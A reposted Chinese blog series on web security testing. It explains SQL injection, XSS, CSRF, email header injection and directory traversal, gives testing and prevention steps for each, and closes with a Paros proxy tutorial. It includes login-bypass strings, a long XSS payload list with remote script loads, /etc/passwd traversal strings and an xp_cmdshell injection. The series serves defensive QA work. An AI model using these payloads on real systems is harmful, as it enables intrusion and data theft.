轉載：安全性測試

本文轉自:http://blog.163.com/tech_qa/blog/static/1301763492009927104634871/

安全性測試系列之一-網站安全性問題

2008-02-14 18:13:06

 從三個方面來討論安全性測試,首先是安全性問題都包括哪些?其次是如何進行安全性測試?最後是安全性測試工具.

 1.DJANGO的一篇文檔中介紹了關於安全性問題包括的內容:http://www.djangobook.com/en/1.0/chapter19

這篇文章的主題思想是:Never — under any circumstances — trust data from the browser.(從不要相信來自瀏覽器端的數據,由於你永遠不可能知道在瀏覽器進行數據操做是你的用戶仍是正在尋找攻擊漏洞的黑客)

 2.安全性問題包括的內容:

 SQL Injection:(SQL注入)

SQL injection is a common exploit in which an attacker alters Web page parameters (such as GET/POST data or URLs) to insert arbitrary SQL snippets that a naive Web application executes in its database directly.

SQL注入是最多見的攻擊方式,它的主要原理是:攻擊者經過改變WEB頁的參數(如GET/POST數據或是URLS)直接將SQL片段提交到服務器,並在服務器端執行的過程.

Cross-Site scrīpting (XSS):(跨站點腳本攻擊)

Cross-site scrīpting (XSS), is found in Web applications that fail to escape user-submitted content properly before rendering it into HTML. This allows an attacker to insert arbitrary HTML into your Web page, usually in the form of <scrīpt> tags.

Attackers often use XSS attacks to steal cookie and session information, or to trick users into giving private information to the wrong person (aka phishing).

XSS定義:是因爲WEB程序沒有對用戶提交的HTML內容進行適當的轉譯,這樣攻擊者就可能在你的WEB頁中插入一些HTML語句,這些語句經過以<SCRITP>TAG的形式出現.

攻擊者一般使用XSS攻擊來竊取COOKIES 和 SESSION信息,或是欺騙用戶將隱私信息暴露給錯誤對象(又稱爲釣魚)

 Cross-Site Request Forgery:(指跨站點請求僞造)

Cross-site request forgery (CSRF) happens when a malicious Web site tricks users into unknowingly loading a URL from a site at which they’re already authenticated — hence taking advantage of their authenticated status.

CSRF:經過在WEB頁或在給用戶發郵件中插入惡意代碼(一般是連接或是腳本),好比發送一個帶有銀行取款連接的圖片或腳本(一般是HTML或JAVAscrīpt),當用戶訪問這個圖片時，此時頁面加載圖片過程會隱密地連接到一個遠程頁面，這個頁面會自動向目標站點發起請求,若是這個目標站點的仍保留這個用戶的COOKIE信息,而且這個COOKIER未過時,那麼攻擊者就能夠在用戶不知情的狀況以用戶的身份登陸銀行或執行取款操做.

CSRF的特性就是利用網站對用戶標識的信任,欺騙用戶的瀏覽器發送HTTP請求給目標站點

Session Forging/Hijacking:(Session 篡改)

 Email Header Injection:(郵件標題注入)

SQL injection’s less well-known sibling,email header injection, hijacks Web forms that send email. An attacker can use this technique to send spam via your mail server. Any form that constructs email headers from Web form data is vulnerable to this kind of attack.

email header injection 與 SQL注入的原理相似,它的原理是:經過在EMAIL的SUBJECT中輸入一些特殊語句如"\n",攻者者能夠利用這個缺陷經過你的郵件服務器發送垃圾郵件.

Directory Traversal:(目錄遍歷)

Directory traversal is another injection-style attack, wherein a malicious user tricks filesystem code into reading and/or writing files that the Web server shouldn’t have access to.

目錄遍歷是另外一種注入類型的攻擊,攻擊者欺騙文件系統讀或寫服務器不容許操做的文件.

Exposed Error Messages:(曝露錯誤信息)

During development, being able to see tracebacks and errors live in your browser is extremely useful.However, if these errors get displayed once the site goes live, they can reveal aspects of your code or configuration that could aid an attacker.

開發過程當中,若是能夠看到錯誤或歷史記錄對FIX問題是很是有用的.可是若是這些錯誤信息被攻擊者所獲取,那麼攻擊者就能夠經過錯誤信息而瞭解到應用程序代碼或是數據庫或是配置等方面的內容,併爲期其行攻擊提供有力的幫助.

安全性測試系列之二-如何對網站進行安全性測試?

2008-02-15 13:49:59

   DJANGO的那篇文檔中只介紹了網絡中常見的安全問題以及如何從程序的角度去防護它們,並未介紹如何針對安全問題進行測試.本章的主要內容是針對上章中說起的安全性問題介紹如何進行安全性測試.

   1.SQL Injection(SQL 注入)

  (1)如何進行SQL注入測試?

首先找到帶有參數傳遞的URL頁面,如搜索頁面,登陸頁面,提交評論頁面等等.

注1:對於未明顯標識在URL中傳遞參數的,能夠經過查看HTML源代碼中的"FORM"標籤來辨別是否還有參數傳遞.在<FORM>和</FORM>的標籤中間的每個參數傳遞都有可能被利用.

<form id="form_search" action="/search/" method="get"> <div> <input type="text" name="q" id="search_q" value="" /> <input name="search" type="image" src="/media/images/site/search_btn.gif" /> <a href="/search/" class="fl">Gamefinder</a> </div> </form>

注2:當你找不到有輸入行爲的頁面時,能夠嘗試找一些帶有某些參數的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10

其次,在URL參數或表單中加入某些特殊的SQL語句或SQL片段,如在登陸頁面的URL中輸入HTTP://DOMAIN/INDEX.ASP?USERNAME=HI' OR 1=1--

注1：根據實際狀況,SQL注入請求可使用如下語句: ' or 1=1- - " or 1=1- - or 1=1- - ' or 'a'='a " or "a"="a ') or ('a'='a     注2：爲何是OR，以及',――是特殊的字符呢？ 例子：在登陸時進行身份驗證時，一般使用以下語句來進行驗證：sql=select * from user where username='username' and pwd='password' 如輸入http://duck/index.asp?username=admin' or 1='1&pwd=11，SQL語句會變成如下：sql=select * from user where username='admin' or 1='1' and password='11' '與admin前面的'組成了一個查詢條件,即username='admin',接下來的語句將按下一個查詢條件來執行. 接下來是OR查詢條件,OR是一個邏輯運算符，在判斷多個條件的時候，只要一個成立，則等式就成立，後面的AND就再也不時行判斷了，也就是說咱們繞過了密碼驗證，咱們只用用戶名就能夠登陸. 如輸入http://duck/index.asp?username=admin'--&pwd=11，SQL語句會變成如下sql=select * from user where name='admin' --' and pasword='11',  '與admin前面的'組成了一個查詢條件,即username='admin',接下來的語句將按下一個查詢條件來執行  接下來是"--"查詢條件,「--」是忽略或註釋,上述經過鏈接符註釋掉後面的密碼驗證(注:對ACCESS數據庫無效).

最後,驗證是否能入侵成功或是出錯的信息是否包含關於數據庫服務器的相關信息;若是能說明存在SQL安全漏洞.

試想,若是網站存在SQL注入的危險,對於有經驗的惡意用戶還可能猜出數據庫表和表結構,並對數據庫表進行增\刪\改的操做,這樣形成的後果是很是嚴重的.

   (2)如何預防SQL注入?

   從應用程序的角度來說,咱們要作如下三項工做:

轉義敏感字符及字符串(SQL的敏感字符包括「exec」,」xp_」,」sp_」,」declare」,」Union」,」cmd」,」+」,」//」,」..」,」;」,」 ‘ 」,」--」,」%」,」0x」,」 ><=!-*/()| 」,和」空格」).

屏蔽出錯信息：阻止攻擊者知道攻擊的結果

在服務端正式處理以前提交數據的合法性(合法性檢查主要包括三項:數據類型,數據長度,敏感字符的校驗)進行檢查等。最根本的解決手段,在確認客戶端的輸入合法以前,服務端拒絕進行關鍵性的處理操做.

   從測試人員的角度來說,在程序開發前(即需求階段),咱們就應該有意識的將安全性檢查應用到需求測試中,例如對一個表單需求進行檢查時,咱們通常檢驗如下幾項安全性問題:

需求中應說明表單中某一FIELD的類型,長度,以及取值範圍(主要做用就是禁止輸入敏感字符)

需求中應說明若是超出表單規定的類型,長度,以及取值範圍的,應用程序應給出不包含任何代碼或數據庫信息的錯誤提示.

   固然在執行測試的過程當中,咱們也需求對上述兩項內容進行測試.

   2.Cross-site scritping(XSS):(跨站點腳本攻擊)

  (1)如何進行XSS測試?

<!--[if !supportLists]-->首先,找到帶有參數傳遞的URL,如登陸頁面,搜索頁面,提交評論,發表留言頁面等等。

<!--[if !supportLists]-->其次,在頁面參數中輸入以下語句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)來進行測試：

<scrīpt>alert(document.cookie)</scrīpt>

      注:其它的XSS測試語句

><scrīpt>alert(document.cookie)</scrīpt> ='><scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(vulnerable)</scrīpt> %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E <scrīpt>alert('XSS')</scrīpt> <img src="javascrīpt:alert('XSS')"> %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp &lt;scrīpt&gt;alert('Vulnerable');&lt;/scrīpt&gt <scrīpt>alert('Vulnerable')</scrīpt> ?sql_debug=1 a%5c.aspx a.jsp/<scrīpt>alert('Vulnerable')</scrīpt> a/ a?<scrīpt>alert('Vulnerable')</scrīpt> "><scrīpt>alert('Vulnerable')</scrīpt> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E& %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG SRC="javascrīpt:alert('XSS');"> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert(&quot;XSS&quot;)> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out <IMG SRC=" javascrīpt:alert('XSS');"> <scrīpt>a=/XSS/alert(a.source)</scrīpt> <BODY BACKGROUND="javascrīpt:alert('XSS')"> <BODY ōNLOAD=alert('XSS')> <IMG DYNSRC="javascrīpt:alert('XSS')"> <IMG LOWSRC="javascrīpt:alert('XSS')"> <BGSOUND SRC="javascrīpt:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');"> <IMG SRC='vbscrīpt:msgbox("XSS")'> <IMG SRC="mocha:[code]"> <IMG SRC="livescrīpt:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');"> <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME> <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascrīpt:alert('XSS')"> <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE> <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A class="XSS"></A> <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE> <BASE HREF="javascrīpt:alert('XSS');//"> getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="javascrīpt:alert('XSS');"> "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><" <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt> <IMG SRC="javascrīpt:alert('XSS')" <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīpt>'"--> <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

 最後,當用戶瀏覽時便會彈出一個警告框，內容顯示的是瀏覽者當前的cookie串,這就說明該網站存在XSS漏洞。

試想若是咱們注入的不是以上這個簡單的測試代碼，而是一段常常精心設計的惡意腳本，當用戶瀏覽此帖時，cookie信息就可能成功的被攻擊者獲取。此時瀏覽者的賬號就很容易被攻擊者掌控了。

  (2)如何預防XSS漏洞?
    從應用程序的角度來說,要進行如下幾項預防:

對Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等語句或腳本進行轉義.

在服務端正式處理以前提交數據的合法性(合法性檢查主要包括三項:數據類型,數據長度,敏感字符的校驗)進行檢查等。最根本的解決手段,在確認客戶端的輸入合法以前,服務端拒絕進行關鍵性的處理操做.

    從測試人員的角度來說,要從需求檢查和執行測試過程兩個階段來完成XSS檢查:

在需求檢查過程當中對各輸入項或輸出項進行類型、長度以及取值範圍進行驗證，着重驗證是否對HTML或腳本代碼進行了轉義。

執行測試過程當中也應對上述項進行檢查。

   3.CSRF:(跨站點僞造請求)
    CSRF儘管聽起來像跨站腳本（XSS），但它與XSS很是不一樣，而且攻擊方式幾乎相左。
    XSS是利用站點內的信任用戶，而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。
    XSS也好，CSRF也好，它的目的在於竊取用戶的信息，如SESSION 和 COOKIES（關於SESSION 和COOKIES的介紹請參見個人另外一篇BLOG：http://www.51testing.com/?49689/action_viewspace_itemid_74885.html），
   (1)如何進行CSRF測試？
    關於這個主題本人也正在研究，目前主要經過安全性測試工具來進行檢查。
   (2)如何預防CSRF漏洞？

請參見http://www.hanguofeng.cn/archives/security/preventing-csrf

請參見http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_avoid_exposing_your_gmail_contacts.html

  4.Email Header Injection(郵件標頭注入)  
    Email Header Injection：若是表單用於發送email,表單中可能包括「subject」輸入項（郵件標題），咱們要驗證subject中應能escape掉「\n」標識。

<!--[if !supportLists]--> <!--[endif]-->由於「\n」是新行，若是在subject中輸入「hello\ncc:spamvictim@example.com」，可能會造成如下

Subject: hello

cc: spamvictim@example.com

<!--[if !supportLists]--> <!--[endif]-->若是容許用戶使用這樣的subject，那他可能會給利用這個缺陷經過咱們的平臺給其它用戶發送垃圾郵件。

  5.Directory Traversal(目錄遍歷)
   （1）如何進行目錄遍歷測試？

目錄遍歷產生的緣由是：程序中沒有過濾用戶輸入的「../」和「./」之類的目錄跳轉符,致使惡意用戶能夠經過提交目錄跳轉來遍歷服務器上的任意文件。

測試方法：在URL中輸入必定數量的「../」和「./」，驗證系統是否ESCAPE掉了這些目錄跳轉符。

   （2）如何預防目錄遍歷？

限制Web應用在服務器上的運行

進行嚴格的輸入驗證，控制用戶輸入非法路徑

  6.exposed error messages(錯誤信息)
  （1）如何進行測試？

首先找到一些錯誤頁面，好比404,或500頁面。

驗證在調試未開經過的狀況下，是否給出了友好的錯誤提示信息好比「你訪問的頁面不存在」等，而並不是曝露一些程序代碼。

  （2）如何預防？

測試人員在進行需求檢查時，應該對出錯信息進行詳細查，好比是否給出了出錯信息，是否給出了正確的出錯信息。

   安全性測試系列之三－安全測試工具（PAROS PROXY）

2008-02-17 15:01:37

 前兩章分別介紹了安全性測試內容和如何進行安全性測試。
若是經過手工進行安全性測試效率是很是低的，首先你必需要找到安全性測試的切入點，而後逐一對這些切入點進行檢查。但尋找切入點是很是耗時並且對測試人員的安全、編碼的知識面要求也很是高，再者即便是找到了安全測試切入點，逐一對這些關鍵點進行測試也是須要大量的時間的。
爲了提升安全測試的效率，咱們須要藉助一些安全性測試工具。
1.先介紹一個關於安全性測試工具的網站http://sectools.org/web-scanners.html和http://networking.ctocio.com.cn/tips/463/7703463.shtml
2.各個安全測試工具的比較你們去看相關文章，在這咱們採用的是開源的安全探測工具－－Paros proxy
3.如下是關於paros proxy（v3.2.13）介紹
（1）安裝  

安裝JRE

<!--[if !supportLists]--> <!--[endif]-->首先確保已安裝JRE [Java Run Time Enviroment (JRE) 1.4 (or above) ]

注意：必定要先安裝JRE，而後再安裝paros proxy，若是先安裝paros proxyr後安裝JRE，paros proxy將沒法啓動。

<!--[if !supportLists]-->若是沒有JRE，能夠經過如下地址下載並安裝：http://java.sun.com/j2se

注意：若是找不到JRE，也能夠下載相同版本的JDK，JDK會帶有JRE。

配置JRE環境變量：

<!--[if !supportLists]--> <!--[endif]-->首先，右擊個人電腦－屬性－高級－環境變量進入環境變量設置對話框。

<!--[if !supportLists]-->設置PATH環境變量，在PATH環境變量中輸入JRE的安裝路徑。

如JRE的安裝目錄爲：c:\JRE. 在PATH環境變量中加入c:\JRE

<!--[if !supportLists]--><!--[endif]-->新建CLASSPATH環境變量，在CLASSPATH環境變量中輸入LIB路徑。

安裝和配置paros proxy應用程序

下載地址：http://sourceforge.net/projects/paros/

安裝：

若是下載的是WINDOWS版本，安裝比較簡單。

若是下載的是UNIX或其它平臺的版本，則須要手動將程序解壓到一個新的目錄，並單擊.JAR文件運行程序。

配置：

paros須要兩個端口：8080和8443,其中8080是代理鏈接端口，8443是SSL端口，因此必須保證這兩個端口並未其它程序所佔用。（查看端口命令：打開DOS命令窗口，輸入 netstat查看目前使用的端口）

若是在安裝完成,啓動應用程序時，出現初始化錯誤，極大的可能就是由於這個端口被其它程序所佔用。

配置瀏覽器屬性：打開瀏覽器（如IE），打開工具－選項－鏈接－LAN設置－選中proxy server,proxyname爲：localhost,port爲：8080

若是你的計算機運行於防火牆之下，只能經過公司的代理服務器訪問網絡，你還須要修改PAROS的代理設置，具體的方法是：打開paros-工具－Options-connection,修改"ProxyName" and "ProxyPort"兩項爲代理服務器的名稱和端口.

若是你但願其它的平臺能夠經過你本地機上的PAROS PROXY來訪問WEB SERVER，你須要將本地機上的PAROS PROXY的IP設置爲（好比：192.168.0.1）而不是127.0.0.1，由於127.0.0.1只容許本地機使用該應用程序.具體操做方法爲：打開paros-工具-options-local proxy，將address

（2）操做步驟

第一步：打開paros proxy,而後在瀏覽器中打開被測試程序。

第二步－－SPIDER：抓取URL。

執行第一步後，系統會自動抓取被測試站點位於URL層次樹中第一層的URL（好比一個網站，其首頁的URL通常爲層次樹第一層），並將這些URL顯示在左側的「site」欄中，而後在site欄中選中某一個URL，右擊鼠標選取spider命令或單擊analyse菜單－spider命令，系統將抓取該URL層次樹中下一層次的URL。

注意：因爲paros並不能一些特定的URL路徑，好比一些URL連接須要在合法登陸後才能被識別出來，所以在進行URL抓取時，必定先要登陸網站。

抓取功能不能處理如下狀況：

具備非法驗證的SSL站點的URL是不能被抓取的。

不支持多線程（也就是說：）

在HTML頁中的某些URLS也是不能被識別的。

由javascrīpt生成的URLS也是不能被識別的。

雖然上述這些urls不能被自動抓取，因此咱們能夠將其手動增長到左側的「site」欄中，具體的操做方法是：

首先咱們要對被測試站點URL的層次樹有很好的瞭解，這樣咱們才能知道哪一個URL抓取了，哪尚未被抓取。

對於未被抓取的URLS，經過打開paros-工具-manual request editor，輸入未被抓取的URLS，而後單擊SEND按鈕，完成手動加入URLS動做，添加成功後的URLS將顯示在左側的「site」欄中。（注：此處存在一個問題，當我輸入一個URL後單擊發送按鈕後，系統老是報錯「IO erros is sending request」,查看了一下RESPONSE，結果是我發送的URLS WEB 服務器不能識別，不知道是否對輸入的URLS有什麼特殊的要求，待定。）

第三步－－SCANNER：針對「site」欄中的URLS進行掃描，逐一檢查對URLS分別進行安全性檢查，驗證是否存在安全漏洞。

若是想掃描"site"欄中全部的URLS，單擊anaylse-scan all能夠啓動所有掃描。

若是隻想掃描「site」欄中某一URL，選中該URL，右擊鼠標，選取scan命令。

SCANNER能夠對如下幾種狀況進行檢查：

SQL注入

跨站點腳本攻擊

目錄遍歷

CRLF -- Carriage-Return Line-Feed 回車換行等。

            注：咱們能夠經過anylse-scan policy進行安全檢查的設置。

第四步－－查看和驗證掃描結果：

掃描完成後，單擊Report-Last Scan report,可查看當前的掃描報告。

根據掃描報告，對掃描結果進行驗證，好比掃描結果中有一是URL傳遞的參數中存在SQL注入漏洞，咱們將該URL及參數輸入到地址欄中，驗證結果。

第五步－－保存抓取、掃描內容。

保存時應注意：保存的路徑不支持特殊字符，好比漢字等，不然會打不開保存後的文件。